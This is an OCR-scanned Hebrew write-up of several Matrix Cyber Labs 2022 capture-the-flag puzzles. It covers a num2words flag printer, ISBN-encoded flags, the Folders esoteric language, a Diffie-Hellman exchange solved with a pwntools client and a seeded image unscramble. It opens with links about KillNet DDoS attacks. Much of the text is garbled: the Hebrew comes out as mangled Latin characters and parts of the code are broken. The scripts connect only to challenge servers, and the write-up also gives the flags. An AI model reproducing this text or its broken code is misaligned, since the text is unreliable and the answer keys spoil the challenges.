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https://threatpost.com/killnet-pummels-lithuania/180075/
https://www.euronews.com/culture/2022/05/16/eurovision-2022-russian-hackers-targeted-contest-say-italian-police
https://www.expats.cz/czech-news/article/czech-television-hit-in-another-wave-of-cyber-attacks
https://lrv.lt/en/news/intense-ddos-attacks-targeted-several-companies-and-institutions-in-lithuania
https://en.wikipedia.org/wiki/National_Cyber_Security_Centre_of_Lithuania
https://t.me/s/killnet
https://t.me/s/killnet
https://t.me/s/killnet
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https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon
https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon
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https://ctf.matrixcyberlabs.com/
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(n1TiIa 50 ,Warmup n"1aoy) Print Flag "anx

XANIXR'N DX NX) NN 1ANK2A

Challenge

Print Flag
50

| have a code that prints a flag :)
Unfortunately one function is missing, can you mend it?

* print_flag.py

Flag Submit

)2 XN print_flag.py yal? ba 721

flag array
[l /01, [ 0 071, [ ,01,[15,6],[14,2],(
1,100,3 4,3 00, 3 7,0 ,01]

def
flag =
for letter in flag array:
flag += toString(letter[0]) [letter[1]]
print (flag)

print flag()

IN TIND WNwn [IUKIN 27001 OpTA'Rd "W 190NN NX flag_array-nn Npi? 09PONY DKM
DY MO X7 NIVANNN NN ...toString N7IV9N NK D'™7WNY IIN'RA NDIXAY 2D TN (?)190n
NS0 MYNNWN NNINNN NP'TA DWY? .07 Dnim 0msonn NG |I'van 1 N7y, nxy

:num2words

from num2words import num2words
def (x) =
if (isinstance(x, str)):
return x
return num2words (x)

flag array
[l /01, [ /01, [
1,00,31,04,3],1100,3

def () :
flag =
for letter in flag array:
flag += toString(letter[0]) [letter[1]]
print (flag)

print flag()

MANNK NTO Matrix 2022
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https://pypi.org/project/num2words/
https://pypi.org/project/num2words/

:N2N 0790 NN 7271

MCL{nuM to wor s}

N7'MN NNIR NRT ,3 XIN OpTI'RNI 100 KINW [NNXN 1197 2Wn 1N2 7W01 TIgny R 1IN

INTN NTNNAN DX 7272 NIRN DX Q'Y OX .d X1 3 DI7'na Nl ,hundred

MCL{nuM to words}

:NQN TIZN DNV NIYON NN 1an? 7T NN 7Y 0*1%0NY D'7'NN NN DK 0'9T)

from num2words import num2words
def (x) :
if (isinstance(x, str)):
return x
print (num2words (x) )
return num2words (x)

flag array =
[l (01, [ (01, [ (01, [ +01,[15,6],[14,
,01,[20,17,[0,3],[4,3],[100,3],[7,0],I 7 0] ]

def ():
flag =
for letter in flag array:

flag += toString(letter[0]) [letter[1]]
print (flag)

print flag()

fifteen
fourteen
sixty
forty
twenty

Zero

four

one hundred

seven
MCL{nuM_to_wor s}

:N2N 079N NX 771

hundred-7? DI7na one hundred-7 100 190NN NX N9IN N'MID0NY dN DY NIYONY DR

:NNNYA N7 72T0 DR 'TR? 7210 Nzn 702

MCL{nuM_to_words}

MANNK NTO Matrix 2022
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(n1TIa 50 ,Misc n1avg) Plagiarism Nanx

XAN RN DX AR AT ANKRA

X
Challenge

Plagiarism
50

| wish there was a more human friendly way to keep track of it
all.

Flag Submit

2 nxN flag.txt yalpn nX DA 731

B flag.tet - Notepad

213 Edit View

0061186422 0131103628 0596082254 0POGRAGORE 0486291464 1593275994 1562632950 1138763683 8898711878 8880535925 @198250797 082182676X 3662607697 0252725484 0062515861 ©00E08G000
1522{13668241517 13 16407 }

D'MAI07 NITIN 72N 7¢ NM1and D'k DMIYN MIYAY 17 D'l .DMD0Nn YW NNIY 'y
NN DT MIYRIN MY DN950NN TNR DR 7227 01 WR17 7 e lwrdn 1aTn .0oionn

v lizll]

0061186422

NEIL DANMAN 9717 = plp < https:/www.abebooks.com

GAIMATL
- #9780061186424: M Is for Magic - AbeBooks - Gaiman, Neil
ISBN 10: 0061186422 ISBN 13: 9780061 4. Publisher: HarperCollins, 2007. This
specific ISBN edition is currently not available.
%k

DANAn 977 ¥ plp < https://www.abebooks.co.uk

©9780061186424: M Is for Magic - Gaiman, Neil: 0061186422
M Is for Magic by Gaiman il at AbeBo .uk - ISBN 10: 0061186422 - ISBN 13:
9780061 4 - Harpercollins Childrens Books - 2007 - Hardcover.

DANNA 77 < hitps:ffwww.amazon. ae

M Is for Magic by - Amazon.ae

ISBN-10, 0061186422 ISBN-13 8-0061186424. Reading age, 10 years and up. Dimensions,
X 20.96 cm. omer Re 4 out of 5 sta .
n 4.4 2Tk dokok

MANNK NTO Matrix 2022
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2'NNN 190N1 [IWXRIN 190NN DK 'MY9'NY 17 2IN'Y .1907 NNt 190N |'vA XIN NTH 190NNY NXM

INTH? AWUN 190NN DX WON) 1220 [11'2 1INIX NXN1D ,M NiIXA

0131103628

) TuaxIm 4,4
MIDTYN A WIDN N NOW NK 1 TANT7 TWOK _T171 AMAYD TINYIN WD o0

DATNAN 77 01 hitps /fwww.amazon .com

_ o ¥ Amazon.com: C Programming Language, 2nd Edition

SCRARMING ISBMN-10. 0131103628 - ISBN-13. 978-0131103627 - Edition. 2nd - Publisher. Pearson -

NGUAGE
i Publication date. March 22, 1988 - Language. English - Dim ons. 6 8x07x92
NN C 47 AT ke kok

oamna T + 01 0« 1 <« hitpsZ/iwww.abebooks.com

®#0131103628 - AbeBooks

0131103628 - C Programming Language, 2nd Edition by Brian W Kemighan; Dennis M Ritchie.
You searched for. 0131103628 (isbn).

DAn®na 77 ¥ Th « hitps=//www.ebay.com

¥ The C Programming Language (2nd Edltmm by Ritchie .
The C Programming Language (2nd Edition) by Riichie, Dennis 0131103628 The Fast ;
9780131103627 ; EAN: 0076092003106 ; Publication Name: C Programming ...
Pearson Education :Pub er ...mber of Volum... dit
Textbook T ...horBrian Kemighan, ... [P

NT 2%wa ?flag.txt-n Yalp 7w nMwn NIIWA DNID0NN WO NN 7ax ,NMUN NIXD PR KD C NIRD
7 DXINN 190NN M NIXA 7'NNN [IWRIN 1900 ,71TA) K12 .D'0PTI'R DNON DN '7IN 'MYYY7 'Mawn

.0-n X71 1-n 07'NNN N1'D0N ,D'0PTI'R NT DX TX,1 KIN

TN NMpPNA 5 KN 17 DXINN 1901001 "'C Programming Language” XIn 1900 ,"IJUn 190N a7 P11
790N 7 N1 7710) nmipnnn 7N ,27 0'wa ox A1 ,C 727 DMK 1INIXIE o NIXN DX 727
X?2IIT NN NMnal The C Programming Language NNNIX NIXT .C NIXN 197 The n7'nn v'aim (nxy

.CNIXN DX 7I'T2 N7 XN KN D O{7TI'XD O'XNN 519%0nn

IMNW> 0000000000 190NN NX NI NMIYXIN NIIYA DI90NA 210 72N01 DX ,9011 TN 'Y W
placeholder-> ToNn VIYD NTY NN X TX ,NI707100 D'MAI0 X7K 190N X7 X7IT XIN MMNNNY

NN "Myon

MANNK NTO Matrix 2022
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,ANAIT? NN N1N 0910 2IMD7 D2 CWOX 72K ,NIT NTIAVA XY DX NIYY? NIY |amd

(NI'PN Nxa 7 TAYw TN NT D) NFTOL W APL-2 DA 1D1mnl jsbnlib n'1902 wnnwnn

import isbnlib

with open ( ) as f:
isbns = f.readline().rstrip() .split ()
nums = f.readline () .rstrip() .split ()
i in range(len(isbns)):

if (isbns[i] == ) :
print (nums[i], end="")
continue
print (isbnlib.meta (isbns[i], service='wiki') [
1], end="")
print ()

.NXN1 UOMPON 1AW N"P'M ANINA N¥NI MANKY7 qlixnn flag.txt yalpnw nan v9onw 17 'Y

M2 DR 72721 NiMY nnd o

MCL{Bookworming}

(m1mi72 150 ,Misc n'iavg) Fo/Fo/Fo/Folang Nanx

XANIXR'NN DX '73|7] Digariilhal

Challenge

Fo/Fo/Fo/Folang
150

| am saving disk space by not using any characters, though
it does make things harder to read.

* Folang.zip

Flag Submit

D' %W qan wnn DR M2 DR I90YR NNy Nt Dy zip Yalp DA 73
[27,"Folang" N7 D'X11? NX1IN 7201 NIFRP'N NOOIAN NMVIT'R NOWA NAITAY *7¢ NIIYRIN NAWNNN

N7XN X77 I MYO'NY NN DT

wnn X7 07 X NIFA NYRD DIFR'NIN )R YW YD namn 7277 11 find-1 tree NIMon DX MXAN

(Mwn X7 N1 0712'7 IX) OIT2' 7Y 720N 0'¥APN M0 NNTYA NIF'MA 7107 DT "2 1TV pY NN 2Ty

MANNK NTO Matrix 2022
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https://pypi.org/project/isbnlib/

> ThisPC » HDD(D:) » ctfs > folang chall » Folang

Name

B8 New Folder /20 17 File folder

N2 N7 vyl
» ThisPC » HDD(Dx) » ctfs » folang_chall > Folang » Mew Folder
Mame - Date modified Type

BB new Folder f2022 05:17 File folder

BB new Folder (2] 08/06/2022 05:17 File folder

n"Mwn n"p'n"z 01011 .I'"2yn X7 NP NpP'N 4 Ty w' D"NYUN I'2AN NMIYKXRIN n''p?'Nna
New Folder\New Folder (2

T sort v

HDD (D:) » cifs » folang_chall » Folang » MNew Folder » New Folder (2)

Name . Date modified Type
8 Mew Folder 2022 05:17 File folder
B New Folder (2) 7 File folder

B New Folder (3) 7 File folder

NUPMY7 P'YUN) NIPN NPT 2 KD W AMUR DURMAL DIPN NP5 W R MWK ATPa
"wn Inwn AxINYHYUn

BB > ThisPC > HDD (D) > ctfs > folang_chall > Folang > New Folder > New Folder(2) > New Folder (3)

Name Date modified Type Size
@ New Folder (1) File folder
8 New Folder (2) File folder
B New Folder (3) 7 File folder
B8 New Folder (4) File folder
8 New Folder (5) 08/( 7 File folder
8 New Folder (6) File folder
B New Folder (7) 05:17 File folder
8 New Folder (8) 7 File folder
B New Folder (9) File folder
@8 New Folder (10) 7 File folder
B New Folder (11) File folder
B New Folder (12) 7 File folder

8 New Folder (13) File folder

B New Folder (14) File folder

NT 'R 72K 727N W NIR DT QYR DY AT 7Y 1IWRIN 0'00Y'RN ,NNS0INN NIFP'N 48 [N W'

?aXI'n

MANNK NTO Matrix 2022
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NKN]  NIYKRAN n"r}'n'7 0101 DX
ThisPC » HDD (D:) » ctfs > folang_chall > Folang » Mew Folder » Mew Folder (2) » Mew Folder (3) » Mew Folder (1)

MName - Date modified Type Size
B Mew Folder {n 022 05:17 File folder

BB New Folder (2) 17 File folder

NMIYXRIN n"p'n"z O ,"?IX ,NI'P'N 'NY
b ThisPC » HDD(D:) » ctfs > folang_chall > Folang > New Folder » Mew Folder (2) » Mew Folder (3} » New Folder (1) > New Folder (1)

Mame . Date modified Type Size
- Mew Folder (1) 0 0 129 File folder
. Mew Folder (2) File folder
. Mew Folder (3] 06/2022 05:17 File folder

B new Folder (4) 0 0 :20 File folder

ANWN XM AT IR, IR R 77020 np New Folder nwa n'g'n W' [ 27na Nt 4 X0 W
(!0 DNXY NNENR) NNTIEN AT RN TN
ThisPC > HDD (D:) » ctfs » folang_chall > Folang » New Folder » MNew Folder (2) » New Folder (3) » New Folder (1)

Mame - Date modified Type Size
BB nMew Folder (1) 022 05:17 File folder

BB New Folder (2) 022 05:17 File folder

nMvn n"p'n‘7 0101 OYOn
> ThisPC » HDD(D:) » ctfs > folang_chall » Folang * Mew Folder > New Folder (2) MNew Folder (3) » Mew Folder (1) » MNew Folder (2}

Name . Date modified Type Size
. MNew Folder (5) 022 05:17 File folder
BB New Folder (6) 0,01, 2:29 File folder

Bl niew Folder 0] 0/01/20 :29 File folder

Bl niew Folder 8 0 0 :29 File folder

'Y YUNND NNS0INN NIFP'NN NYAINRY 17 IN'w .XY7 77021 New Folder W' 7N 21w Nig'n 4 21w
(M T 222 N NN 4) 27RO NPT 8 W27 DTIR 1INAW MWK AN NN NYAINY

QI NN 8 PIMTA WD (D'0') NI NAIMY AIWNY? 7 01w nn New Folder wr 7702l

MANNK NTO Matrix 2022
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-0 NN NP ANd TV 'MTa .0 X' Do TX N A0 DXL 'yn kNN 72D New Folder-n
N"P'NA 'MANDY 7T U9MIZ0 NITYA *7W NMIXNN NIK 71721 [27 12T INIK NI'DA [N, N1 T XYY 48

UKD NN KW Folang ntiz'nin 2un

import os
from natsort import os sorted

def (8) ¢
return ''.Jjoin(chr (int(s[i*8:1*8+48],2)) for i in range (len(s)//8))

directory =

dirs = ([x[0][len(directory):] for x in os.walk(directory)])
dirs = os_sorted(dirs)

paths to del = []

for dir in dirs:
if dir.endswith ( )z
path to del = dir[:-11]
paths to del.append(path to del)

for path in paths to del:
dirs.remove (path)

bitstring =
for dir in dirs:
if (dir.count (
bitstring+=
if (dir.count (
bitstring+=

print (decode binary string(bitstring))

aTOoN oIm'il 7w D'Xapn "oV INd NI'fg'Nn NX 1 T07 NIn 7V natsort N0 '"MUNNYNY 17 'y

:0790 NN 72721 Y2 LININ
https://ctf.matrixcyberlabs.com/ef4d2b8973acl8f65

:Xan '-]'['7 v ,1IUJ'|7'7 01111 ,N'VaN NXN]

Congratulations! You've successfully executed the Folders esoteric language ;)

MNow, in order to get the flag you need to 'write’ using Folders.
Create a folders structure that will print out a distinctive word showcased in this video.

Zip the root of your 'Folders' folder structure and send it to the server represented as a base64 string.

--- basef4( zip( folders ) )} ---
server:nc @.cloud.chals.io 22255
Good luck !

7 MO NI Folders NOWY D'RIIPW N'WaN ,NAID1 AN W NIWRIN AYIRIVIRAY DK TR

.Folang 0'"77Dw DT

MANNK NTO Matrix 2022
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https://pypi.org/project/natsort/

NN DX 0NN JI0ONKX .[IV107 TIW'R 117 DN ,NNYI0N N7 0'9TIW D'¥N DNW DRI NN ‘D]

:N7W NNONISNN N7'MN DX NNNIX 01'919 N 7Y [IV10 NTYW 0D7 T'ARI N''OXN

supercalifragilisticexpialidocious

ni7'n 9xn XY N7 TIVINN DR NI'\|7'7 2010 ,NTVINN NNVIT'R NOW NNTY D'VTI' 1INIRWD 1'WUDY

JINTD NN NN 09T

NI (NOSTNW INKN v N2IMDdN) 12'20 DAY NTNNN U kb7 1w D27 TaANI TIO DO7 N7aN
XY YYJN]']ﬁ'? AYORY ,TIp? 2IndY7 YYJN]’Iﬁ'? nn? D .NIT NRD N"PZ'N 'NdN X ,NIXND XN YR VT

QI

NWIVN N71Y9 mw' ,C#-2 aImdn Folders NMVIT'RND NOWN 7w "wIn 0PN AINT? X 'R 7AX

;0¥ NNIXY NN 71T
Tools

Since writing constants in Folders is a challenge (especially strings), the Folders Tools converts any literal into a set of

folders:

Usage: FoldersTools LiteralBuilder type value [add_gitignore]
type = char, int, float, string

value = the value to convert

[add_gitignore] (optional) allows for adding .gitignores to all terminal folders (necessary to check in Folders
programs)

nnn LiteralToFolders.cs yalpn nX nnoi Visual Studio-a  vp"NSn NX  NN9)

:Rottytooth.Esolang.Folders.Tools

- Rottytooth Esolang FoldersTooks = B St -

- %% Rottytooth Esoleng Folders. Tools.LiteralTofolders = ) Wiite{string type. string value, bool writeGtignores = false

2V ' wppn yn' ' T¥aw Solution Explorer-a ,anw ()apm nvpM? path-n X v

:N"P'MN NNN 07D 117 NX'E Rebuild yn'7a1 Rottytooth.Esolang.Folders.Tools

Folders-main\Rottytooth.Esolang.Folders.Tools\bin\Debug

MANNK NTO Matrix 2022
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https://www.youtube.com/watch?v=uZNRzc3hWvE
https://github.com/rottytooth/Folders

NTIPON DX YNINT 7211 Dwn

.\FoldersTools.exe LiteralBuilder string
false

LANKRD NYZ'NA NTRD DYAR 'R K7W 1D, NIMzNA gitignore. Yaup NIX'? X7 n1dINT? nix false-n

NIN 0721 NDINYT NP9'0W N"R'M7 0121 DX ,NIPN 701 XD D'NIN) I'N' DY ['MNXN7 N2'0 7 'R

:Nan NThnn
Folders-main > Rottytooth.Esolang.Folders.Tools > bin > Debug > root
Name ' Date modified Type
@ New Folder 3/06/2 2 File folder
B8 New Folder (2) : File folder

@B New Folder (3) 3/06/2( : File folder

197 NI'P'N NND TIY 112Y7 D'DMIX 110 DNIDIT DNR OX 728 ,ANKRD NYP'NA 1IND NXp NI Wiy
N'YU'7W1) NNYY NTNNNAN DX 71 NIRX'M N9RD DIFPNNY 7720 DRTE D7RN DR wI7wY vany

.0'9TN7 NTIZON DY NIFP'MN K77 728 ,("MIX1'2] NIFMIRD NIRXNA)

NN NRXMY NIPNN DK N2 970071 NP MANKD NP 7Y NIV XY [2md XD 'aon [NNon
NP NP INWNY DUN DX DWRIN DTPMY NIWA L NRT 'WYY INKY .NINNAY NIFPMa NTNnnn

:0'¥N 1INIXY NN NO'DTA NNKA NV NNY 21271 yin'? DA YWOR "supercali" 7wn'? o'knn

PS D:\ctfs\folang_chall\Folders-main\Rottytooth.Esolang.Folders.Tools\bin\Debug> .\Folders.exe .\supercali\

Complete

PS D:\ctfs\folang_chall\Folders-main\Rottytooth.Esolang.Folders.Tools\bin\Debug> .\supercali.exe
supercalifragilisticexpialidocious

PS D:\ctfs\folang_chall\Folders-main\Rottytooth.Esolang.Folders.Tools\bin\Debug> python.exe .\exp.py
supercalifragilisticexpialidocious

1) 'M2Nd IR UOMPON DY DAl NIFNN (NN 23N 1TNN) 177'9NIpN DY DA ,TAIY NTY DX
NUP'NN DX TNRY XD NNDY 7D ) DR L(DRNNA supercali-? n"P'Nn DU DX 12 NRYY MANT
MNYI OpI1'77 'MNTN D DWY? .27 0TI 17 NI NIW7 ,64 0'011 TTIN INIX NITYWYI zip-2 N'WUXRIN

:N2AN VO"IPON DY TN N'P'NA Zip-N NX

from pwn import *
import base64
context.log level =
with open ( , ) as f:
bytes = f.read()
encoded = baseb64.b64dencode (bytes)
r = remote( , 22255)
r.recvline ()
r.sendline (encoded)
print (r.recvline () .decode ( ))

‘T NR 771y

MCL{c4nNO7 533 7H3 fL4G £fOR 7H3 fOLD3r5}
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Technologic

(n1T1;72 100 ,Crypto N 1avy) Telepathic Manx

:NQN XN DX 7271 NTh AN

Challenge

Telepathic
100

nc 8.cloud.chals.io 16499

Flag Submit

:NQN V790 DX NXAEI2NNY DY NNANNN NTIE92 NI |AIMd

Welcome player!

What if told you that colour mixing is essential for telepathy?

I claim that you and I can arrive at the same number no matter how many times we
do so, simply by using the right amounts in the correct order :).

Sync your inner telepathy with mine, for no more than 32 consecutive rounds and
get the flag*, easy.

(*telepathic beings can be very nosy, so I'll be sure to encrypt it
beforehand.)

OK here we go, but be quick about it, I have other telepathic beings to see (or
something else rather).

= (229, 10)
150
enter your number

AwoKr .Diffie-Hellman Key Exchange-2 "NaITaw Nntn T 'NTHA NN9¥NN OY1Y DX DNy ' X

.0TD 10002 ' MYNNYN N'WIR IR, DT W T

DA NVAIXND |9IXA NINNON ‘]]'IU'? 7IXNN XN NNON t]IZI'I'HJ'? I7I|7Il.’)|193. NAITNY NNXpPZ2 'aA0N

JUMY DO T 7V N0 NNONN OINTWY NYZI0I'RNY NNj7Na
| |

010" X7) 2IYKI 1TON "2'0'NNI9 YWAIYI (p-2 [RI0N) 1IWKXRY 190N 7V D'0'7NNY D NTAY N19¥NN
1Y .g-1 [nIoni N'YA 771NN IX 1101120 DA YIT KIN- (NANKYT 'O X7 DTV (1M DT 7Y nz'onnn?

.0N'2" 2 NXPIVIRN DR 0'NIY ' 727 DAL DTTYN QWY DWIT - 0PI DN 1770 DY0nn
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https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange
https://www.youtube.com/watch?v=pwZebAcjoeo
https://he.wikipedia.org/wiki/%D7%90%D7%99%D7%91%D7%A8_%D7%A4%D7%A8%D7%99%D7%9E%D7%99%D7%98%D7%99%D7%91%D7%99#%D7%A9%D7%95%D7%A8%D7%A9_%D7%A4%D7%A8%D7%99%D7%9E%D7%99%D7%98%D7%99%D7%91%D7%99_%D7%9E%D7%A1%D7%93%D7%A8_%D7%A8%D7%90%D7%A9%D7%95%D7%A0%D7%99

Technologic

'YNIY 197 NrTO7MA Wl LA DA 117 N1

Mimonen ninye

y7taonnxan?nnwl 1< a < p— 2wK0 a TIo TROER 079 NN 0K L1
gur2homnxoRrnnw 1< b < p—2wKd bmo kg 0w N2 a2
K = A" mod p qniwna nmonn nx awnm A nix 7am a3

K = B" mod p gniwnn nnonn nx nawnnl B Ik N7apn otk .4

[P [wpn mipnony ] DI0F DID0N2 ANAIT
19 27 NOXM X0 W rn F g7 19900 minnn v g = 429 i p = 1187 iwxan 10000 7y 0201w N, TA72 M 1Y

DN 2FI0N9N 700 707 oY

A = 429%° mod 1187 = 574 nx nawnni a = 546 0 1y "N 07X
.B = 429%"% mod 1187 = 101 nx 2wnni b = 358 Tio Ty N2 A
.574 19010 NX 227 NN7IY 07X ;1 0N
101 "90nn NX 0'7X7 N71IY 211 12 Y0n
QnIYNN NNONA NX NIWNN 07X

K = 101" mod 1187 = 730
QnIYNN NNONA NX 2WNN 212

K = 574%"® mod 1187 = 730

K = 730 nnon pn1w 1 nyd

YN DY QIN'YN NUXPZA0Y'R IR 0N 7N NNIXRY NN 'R 117 NN1IY DININNIRTN 7Y NI0"N 197

.(n"I'D'P'I NNAITA 211) AU TN INIXI (ﬁ"I'E)'r)'I nnarm 0"7N) TNXTX NINN MMYN

NNIXY b-w 11DT 71 .B IR MW7 NI7WY1 2awn?1 b 71y 11n2% 0MX 11NIRY AR A 117 [N DX

(7712) p-2-7 (791) 1 Panrn? X 0N

:pwntools N'"M901 YNnwn xRy 27 'y ,Nxan TIPN NNV B NX Nn2wai awnal b=1 N1

from pwn import *

remote (
context.log level =
r.recvuntil (

.recvuntil ( )

= int (r.recvuntil ( ) [:—=1] .decode ())

= int (r.recvuntil ( )[:=1] .decode ())
.recvuntil ( )

= int(r.recvline () [:-1] .decode ())

= pow (g,b,p)

.sendlineafter ( , str(B) .encode())

b
r
P
g
r
A
B
r

.interactive ()
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https://docs.pwntools.com/en/stable/

Technologic

:D'YTN DIN] DY DY9N ,090N 1Y Upan NTY NXN]

b'OK here we go, but be quick about it, I have other telepathic beings to see (or something else rather).\n
b'\n"
b'\n"
b'p, g = (179, 167)\n’
b'A = 89\n'
b'$ enter your number\n’
1 sent exu bytes:
b'167\n"
Switching to interactive mode

] Received 8x2d bytes:
b'\n"
b'p, g = (167, u3)\n’
b'A = 68\n’
b'$ enter your number\n'

:117 7N DYWL N0'D1 D'7AN NNIRY IN'MAY A7 In'w

Sync your inner telepathy with mine, for no more than 32 consecutive rounds and
get the flag*, easy.

XAN TN MY 0'INYN Nt 72 0rmani 1 Xin 7w b-wd B Mo0n 32 n7w TR

from pwn import *

r = remote (
context.log level =
r.recvuntil (

b =
for in range (32):

.recvuntil ( )

= int(r.recvuntil ( y[:-1].decode())

= int (r.recvuntil ( y[:=1] .decode())
.recvuntil ( )

= int(r.recvline () [:-1] .decode ())

= pow (g, b, p)

.sendlineafter( , str(B) .encode())

EW>»RBQDT R H

r.interactive ()

:N2N V79N NX 72171 9102
] sent 8x3 bytes:
38\n’

b'38
Switching to interactive mode

] Received 8xc9 bytes:

b'\n’

b'Great Job!\n®

b'If all went well we should have synced-up telepathically :).\n'

b'Here is an IV: mve@XZ6PW2N95mHivkmSoRA==\n"

b'and an encrypted flag: gwjaB7u85iejkRJIXwuhn/agMKWyHh5jty6XoQlRILBQDRKBclc+kBl8sldJIhKsny\n'

nn 7ax (V) 1IN’ Q101 0a 1% N1 ,CBC a1on NX1IN 70D AES N19¥NA |9XIN 7ATNY NN
'NNLAIKN NIX2 NNON QINWY A0 AT YUY NN YAINW NDW X7 [amd TX ?NNonn

.NNONN AIY'N |2 KXIN 12 JNNKRN 27wnI |YJ'7|'1-'9"I' I7I|7Il.‘)|'\9 narya

X2 DA NI9¥NN DK NAW7 NiZpa ¥ KIN 'W/7@ DA T 70 TOIM AN'A NN'WA DX D07 D900 DY DF0VNN X AT ANKAWY i1
SYUIN'Y X7 0T DO N'9'YO0V |11'D NT7 0101 K7
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Technologic

Alv'nn DX D'vxan Y1

K = A" mod p qniwnn nnonn nx awnm A nx apm an 3
K = B" mod p gniwnn nnonn ik nawnnl B Ik n7agn 0K .4

:NIYO71 N7W TIR? NT NN 9'0INT ARTI TX

from pwn import *

from base64 import b64decode

from Crypto.Cipher import AES

from Crypto.Util.Padding import unpad

r = remote ( , 16499)
r.recvuntil (

key = []

in range (32) :
.recvuntil ( )
= int (r.recvuntil ( )[:-1] .decode())
= int (r.recvuntil ( )[:-1] .decode())
.recvuntil ( )
= int(r.recvline () [:-1] .decode ())
= pow (g,b,p)
pow (A, b, p)
key.append (k)
r.sendlineafter ( , str(B) .encode())

AP BsQT R e

r.recvuntil ( )

iv = r.recvline () .split( ) [1] .rstrip ()
enc_flag = r.recvline() .split( ) [1] .rstrip ()
iv = bo64ddecode (iv)

ct = b6ddecode (enc_flag)

key = bytearray (key)

cipher = AES.new(key, AES.MODE CBC, iv)

pt = unpad(cipher.decrypt(ct), AES.block size)

print ( , Pt)

2270 NN 7700 XKan V79N X A Y

The message was: b'MCL{4 D1fFeR3n7 HeLLM4nNs kEy 3xCh4ngE}'

MANNK NTO Matrix 2022
www.DigitalWhisper.co.il
19 2022 1,141 '




(n1TI72 250 ,Reversing n'1avy) Pyland Nanx

XN IR'MN DX I73.|72| N7 1ANK2

PyLand
250

Hey, | bought a puzzle from a store called PyLand.

The puzzle consists of 2500 parts.

When | was close to finishing my puzzle a storm named 'Meta'
came out of nowhere and shuffled my entire progress!

Can you help me complete the puzzle?

* puzzle png

:puzzle.png NniMnni
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B Technologic o

NI 21721 ,NIMN 77100 MaNK 75175 0TI ?0'wiy nn ,0'R'70 2500 7w 7TRO XD 117 W' NNXRAW DR

NANNN 7Y NN DA DTN NPNY) AWV D210 DPANK NID 70w 11D NIMN NNIR 7¢ NURT-RLNN

ExifTool Version Number
File Name

Directory

File Size

File Modification Date/Time
File Access Date/Time
File Inode Change Date/Time
File Permissions

File Type

File Type Extension
MIME Type

Image Width

Image Height

Bit Depth

Color Type

Compression

Filter

Interlace

Secret Seed

Image Size

Megapixels

(DT IR D
$ exiftool puzzle.png
: 12.40

puzzle.png

10 MiB

2022:06:06 22:26:33+03:00
2022:06:06 22:27:44+03:0600
2022:06:06 22:26:33+03:00
~IWXI=XT—X

PNG

png

image/png

3000

3000

8

RGB with Alpha
Deflate/Inflate

Adaptive

Noninterlaced

1337

3000x3000

9.0

XIN 17 0'WY7 TN T'nnw [IN] TIY .QUnN 'YIN'y 'Y IRTHA RIN L1337 1Dy Secret Seed-a |'N1]

"?7N" N0l NN NIV NINNN DX

NN91 DX .0'701'9 3000 7v 3000 X'N NTH NN, ANIZTIN

.0'77n 2500 17 w'w DA 11211 .0'"7017'9 60 7 60 KIN DT 77N 72w n'721 7TRON 7w TTIA

shuffler/scrambler python image axkNV'QI 72122 WON7 NNY'D 7W NIWRIN NAWNNN ?NR7D NN

DA DTN '7D7 W'Y D'NTAY NN .pycasso-7 'Myan §i0d ,RXI' NN NIRY7I python puzzle by seed Dai

T nt? NNY1 seed D'WYI,NMN 12 NI7Yn7 71D nNNRYW DX

:210%7 NNl Convert yn'a

image-scramble

An image obfuscation tool that splits an image into tiles and scrambles or
unscrambles them with seed. Check it out on GitHub!

IMAGE: | Choose File | puzzle.png

SLICE SIZE: 60 60

SEED: 1337

MODE: Unscramble v

FORMAT: PNG

v

SHOW SIDE-BY-SIDE:
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https://github.com/catsital/pycasso
https://image-scramble.herokuapp.com/
https://image-scramble.herokuapp.com/

Technologic

seed DY NI017 NN"N 7¢ NXAN NAYNNN .(78NAWN NNIEAN MINNN) Ty X7 0T ,NIKY7 [NIY '9D
JID9INN N7IV9N DR NIWYY TXRI seed '©7 7TX9 7707 NiNN 77NNy TIg RIxn? N 7w 70

JNYOINY NN 21T RINYW NN V7'MON NX 'MKRXN rieay)

25 DT 7ax slicer.py NX YNNI input_images N'"'NAa NN D'WY MY MK DTINMY NKRY?

)2 NI MIEARN TIRN .DXNNA DMWY QWYL TIZN 72V DX 79N0)

import os

import image slicer

import random

import math

import copy

from PIL import Image, ImageDraw

def (drawcontext, xy, outline=None, width=5):
(x1, yl), (x2, y2) = xy
points = (x1, yl), (x2, vyl), (x2, vy2), (x1, y2), (x1, yl)
drawcontext.line (points, fill=outline, width=width)

def (img name, input dir= , output dir=
number tiles=4, outline width=2):
tiles = image slicer.slice(os.path.join (input dir, img name),
numberitiles=numbgr7tiles, save=False) - -
rand tiles = copy.deepcopy (tiles)
image ids = list (range(len(tiles)))
random.shuffle (image ids)
for i in range(len(tzles)):
rand tiles[i].image = tiles[image ids[i]].image
draw_context = ImageDraw.Draw(rand tiles[i].image)
draw rectangle (draw _context, [(0,0),
(rand tiles[i].image.width,rand tiles[i].image.height)], outline='Db]
width=outline width)
image = image slicer.join(rand tiles)
image.save (os.path.join (output dir, img name))

if name == ' main ':

input dir = "
output dir =

MANNK NTO Matrix 2022
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https://github.com/nomisch/image_puzzle

Technologic

number tiles
outline width

input files = [f for f in os.listdir(input dir) if
os.path.isfile(os.path.join (input dir, f))]
for img file in input files: B
slice(img file, input dir=input dir, output dir=output dir,
number tiles=number tiles, outline width=outline width)

DIV D'¥N X7 INIRY 11" 0-7 outline_width NXI 2TR9N 770 1901D 2500-7 number_tiles NX N1wa
NIYY7 " TIg 9'oil nn'wn? shuffle niwyy? Tipn NX Fnna 71 rwdy 07NN 1 yixN'y AT

.0'1on seed |N1'‘na nn'wn? unshuffle

T21) unshuffle N7 NIYY? D'YNY NN'WAN 7T1I22 RN QYT DWW DN T 20 INT NIYWYYT7 TWONR
72X 72 OPTI'R NT'RY D'WTIY DXV I shuffle-n AR DM®onn 0'7911 PN NIKY? L(2500 TV 0-n

.0IYD T AT N2I9NN N7IYON NX V¥aY |XOnN1 y'an

72T .17 VONMIPOYT INIK §'0N ,NTN WIN'NI WNNWI N1V NNT YN 11D DX 'YV wnn? nn? X
.unshuffle nWIYY n71Y97 nRMp 197 random-7 119 seed-n DX 0007 XIN NIDWY? 1IORY |NNX

]2 AR UDMPON LII'WYY DMII'WN 72 INNT

import os

import image slicer

import random

import math

import copy

from PIL import Image, ImageDraw

def (1) :
seed = 1337
random. seed (seed)
perm = list (range(len(1l)))
random.shuffle (perm)
random. seed ()
return perm

(1) :
= getperm(l)
[1[j] for j in perm]

(1) :
perm = getperm(l)
